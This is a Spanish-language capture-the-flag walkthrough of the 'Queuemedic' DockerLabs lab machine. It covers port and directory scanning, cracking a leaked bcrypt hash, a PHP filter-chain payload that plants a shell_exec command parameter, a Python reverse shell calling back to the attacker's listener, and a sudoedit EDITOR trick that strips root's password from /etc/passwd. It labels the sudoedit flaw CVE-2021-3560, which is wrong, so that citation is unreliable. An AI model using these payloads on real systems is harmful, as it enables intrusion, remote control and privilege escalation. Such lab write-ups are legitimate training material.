Queuemedic DockerLabs (Hard)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip insanity.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh insanity.tar

Info:


                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____   
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__   
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___]  

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-23 03:46 EST
Nmap scan report for insanity.dl (172.17.0.2)
Host is up (0.000043s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: LOGIN | Clinic Queuing System
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds

Si entramos en la pagina veremos un login, el cual si ponemos las credenciales por defecto veremos que no funciona, vamos a realizar un poco de fuzzing a ver que encontramos.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.php        (Status: 403) [Size: 275]
/.htpasswd.php        (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/.htpasswd.html       (Status: 403) [Size: 275]
/.htpasswd.txt        (Status: 403) [Size: 275]
/.htpasswd            (Status: 403) [Size: 275]
/.htaccess.txt        (Status: 403) [Size: 275]
/.htaccess.html       (Status: 403) [Size: 275]
/article.html         (Status: 200) [Size: 0]
/auth.php             (Status: 302) [Size: 0] [--> ./login.php]
/backup               (Status: 301) [Size: 309] [--> http://172.17.0.2/backup/]
/css                  (Status: 301) [Size: 306] [--> http://172.17.0.2/css/]
/db                   (Status: 301) [Size: 305] [--> http://172.17.0.2/db/]
/home.php             (Status: 200) [Size: 1522]
/index.php            (Status: 302) [Size: 0] [--> ./login.php]
/js                   (Status: 301) [Size: 305] [--> http://172.17.0.2/js/]
/login.php            (Status: 200) [Size: 4157]
/patients.php         (Status: 500) [Size: 3611]
/registration.php     (Status: 200) [Size: 4365]
/server-status        (Status: 403) [Size: 275]
/reports.php          (Status: 500) [Size: 3085]
/users.php            (Status: 500) [Size: 0]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Vemos bastantes cosas interesantes al realizar un poco de fuzzing, vamos a probar a entrar en la carpeta /backup y veremos lo siguiente:

Vemos que hay un archivo llamado backup.zip, que si nos lo descargamos y lo descomprimimos, veremos lo siguiente:

cat db/clinic_queuing_db.db

Info:

SQLite format 3@  .WJ
�V
  ��Q%%�etablepatient_listpatient_listCREATE TABLE `patient_list` (
            `patient_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            `queue_no` TEXT NOT NULL,
            `fullname` INTEGER NOT NULL,
            `address` TEXT NOT NULL,
            `contact` TEXT NOT NULL,
            `age` INTEGER NOT NULL,
            `weight` FLOAT NOT NULL Default 0,
            `bp_rate` TEXT NULL,
            `status` TINYINT(2) NOT NULL Default 0,
            `notify` TINYINT(2) NOT NULL Default 1,
            `date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�'�tableuser_listuser_listCREATE TABLE `user_list` (
            `user_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            `fullname` INTEGER NOT NULL,
            `username` TEXT NOT NULL,
            `password` TEXT NOT NULL,
            `type` TINYINT(1) NOT NULL Default 0,
            `status` TINYINT(1) NOT NULL Default 0,
            `date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
%�%m    )               3Jessica Castrojessica$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK2024-09-20 14:15:46j  '�              3Administrato                                

Vemos una linea bastante interesante que pone un nombre de usuario y un hash asociado a dicho usuario.

Jessica Castro
jessica$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK

Vamos a crear un diccionario con el nombre de usuario mas su apellido, para poder generar varios formatos y asi probar con cada uno de ellos.

URL = Herramienta Generador

username

jessica castro

Y lo ejecutamos de la siguiente forma:

./username-anarchy -i username > users.txt

Y esto nos habra generado dicho archivo que contendra lo siguiente:

jessica
jessicacastro
jessica.castro
jessicac
jesscast
j.castro
jcastro
cjessica
c.jessica
castroj
castro
castro.j
castro.jessica
jc

hash

$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK

Y ahora vamos a intentar saber que password es la correcta para el nombre de usuario jessica:

john --wordlist=users.txt hash

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 14 candidates left, minimum 24 needed for performance.
j.castro         (?)     
1g 0:00:00:00 DONE (2025-01-23 04:09) 14.28g/s 200.0p/s 200.0c/s 200.0C/s jessica..jc
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Vemos que el que nos interesa es la contraseña j.castro es el que coincide con el hash.

Por lo que ahora iniciaremos sesion con las credenciales que encontramos:

User: jessica
Pass: j.castro

Y vemos que estaremos dentro logeados con dicho usuario:

Vemos que si le damos alguna de las opciones que esta en el header en la URL lleva un parametro llamado ?page= vamos a ver si se puede utilizar algun Wrapper de LFI para poder hacer un parametro cmd= y asi poder ejecutar comandos del sistema.

Wrappers de LFI

URL_Script = https://github.com/synacktiv/php_filter_chains_oracle_exploit/blob/main/filters_chain_oracle_exploit.py

Si queremos por ejemplo crear un parametro llamado cmd que ejecute cualquier comando que le pongamos, seria de la siguiente forma...

$ python3 php_filter_chain_generator.py --chain '<?php echo shell_exec($_GET["cmd"]);?>'

Info:

[+] The following gadget chain will generate the following code : <?php echo shell_exec($_GET["cmd"]);?> (base64 value: PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWyJjbWQiXSk7Pz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

Copiamos eso y lo metemos despues del igual de la siguiente manera...

URL = http://<IP>/?cmd=ls -la&page=<CONTENT_GENERATE>

Info:

total 172
drwxr-xr-x 1 www-data www-data  4096 Sep 20 09:26 .
drwxr-xr-x 1 root     root      4096 Sep 20 09:08 ..
-rw-rw-r-- 1 www-data www-data  1945 Sep 19 10:12 DBConnection.php
-rw-rw-r-- 1 www-data www-data  9840 Sep 18 14:31 LoginRegistration.php
-rw-rw-r-- 1 www-data www-data  9527 Sep 19 10:30 Master.php
-rw-rw-r-- 1 www-data www-data     0 Apr 11  2023 article.html
-rw-rw-r-- 1 www-data www-data   748 Mar 23  2023 auth.php
drwxr-xr-x 2 www-data www-data  4096 Sep 20 09:21 backup
drwxrwxr-x 1 www-data www-data  4096 Apr 11  2023 css
drwxr-xr-x 1 www-data www-data  4096 Sep 20 09:15 db
-rw-rw-r-- 1 www-data www-data  1671 Apr 14  2023 home.php
-rw-rw-r-- 1 www-data www-data 11156 Apr 14  2023 index.php
drwxrwxr-x 1 www-data www-data  4096 Apr 11  2023 js
-rw-rw-r-- 1 www-data www-data  4418 Apr 14  2023 login.php
-rw-rw-r-- 1 www-data www-data  5931 Apr 14  2023 manage_patient.php
-rw-rw-r-- 1 www-data www-data  4735 Apr 12  2023 manage_user.php
-rw-rw-r-- 1 www-data www-data  7122 Sep 19 10:29 patient_side.php
-rw-rw-r-- 1 www-data www-data 11759 Sep 19 10:30 patients.php
-rw-rw-r-- 1 www-data www-data  5708 Apr 14  2023 queueing.php
-rw-rw-r-- 1 www-data www-data  4549 Mar 23  2023 registration.php
-rw-rw-r-- 1 www-data www-data  8147 Sep 19 10:31 reports.php
-rw-rw-r-- 1 www-data www-data  3575 Apr 11  2023 update_account.php
-rw-rw-r-- 1 www-data www-data  4790 Apr 12  2023 users.php
-rw-rw-r-- 1 www-data www-data  5526 Sep 19 10:34 view_patient.php
�
P�����

Vemos que funciona, por lo que vamos a crearnos una reverse shell mediante la URL de la siguiente forma:

URL = http://<IP>/?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'&page=<CONTENT_GENERATE>

Antes de ejecutarlos estaremos a la escucha:

nc -lvnp <PORT>

Y si ejecutamos lo de la URL y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 44696
$ whoami
whoami
www-data

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user jessica

Si probamos a utilizar la misma contraseña que en la pagina veremos que funciona:

su jesssica

Metemos como contraseña j.castro y veremos que estamos dentro.

Privilege Escalation

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for jessica on 9ea7af8cd4f5:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jessica may run the following commands on 9ea7af8cd4f5:
    (root) NOPASSWD: sudoedit /var/www/html/*

Veremos que podemos ejecutar sudoedit en la siguiente ruta como el usuario root, por lo que haremos lo siguiente:

Vemos que esto tiene una vulnerabilidad con un CVE asociado llamado CVE-2021-3560 y que su descripcion es la siguiente:

Descripción de la vulnerabilidad

En Sudo anterior a 1.9.12p2, la característica sudoedit (también conocida como -e) maneja mal argumentos adicionales pasados ​​en las variables de entorno proporcionadas por el usuario (SUDO_EDITOR, VISUAL y EDITOR), permitiendo a un atacante local agregar entradas arbitrarias a la lista de archivos para procesar. . Esto puede conducir a una escalada de privilegios. Las versiones afectadas son 1.8.0 a 1.9.12.p1. El problema existe porque un editor especificado por el usuario puede contener un argumento "--" que anula un mecanismo de protección, por ejemplo, un valor EDITOR='nano -- /path/to/extra/file'.

Mas info en el siguiente repositorio:

URL = Info CVE-2021-3560

Por lo que vemos lo que a nosotros nos interesa es editar el passwd.

export EDITOR='nano -- /etc/passwd'

Ahora ejecutamos lo siguiente:

sudo sudoedit /var/www/html/testfile

Esto nos abrira el passwd por lo que eliminaremos la x del usuario root para quitarle la contraseña quedando asi:

root::0:0:root:/root:/bin/bash

Lo guardamos con ^X despues Y y por ultimo ENTER y con esto ya estaria aplicado.

su root

Y veremos que seremos root sin que nos pida ninguna contarseña de forma previa.

Last updated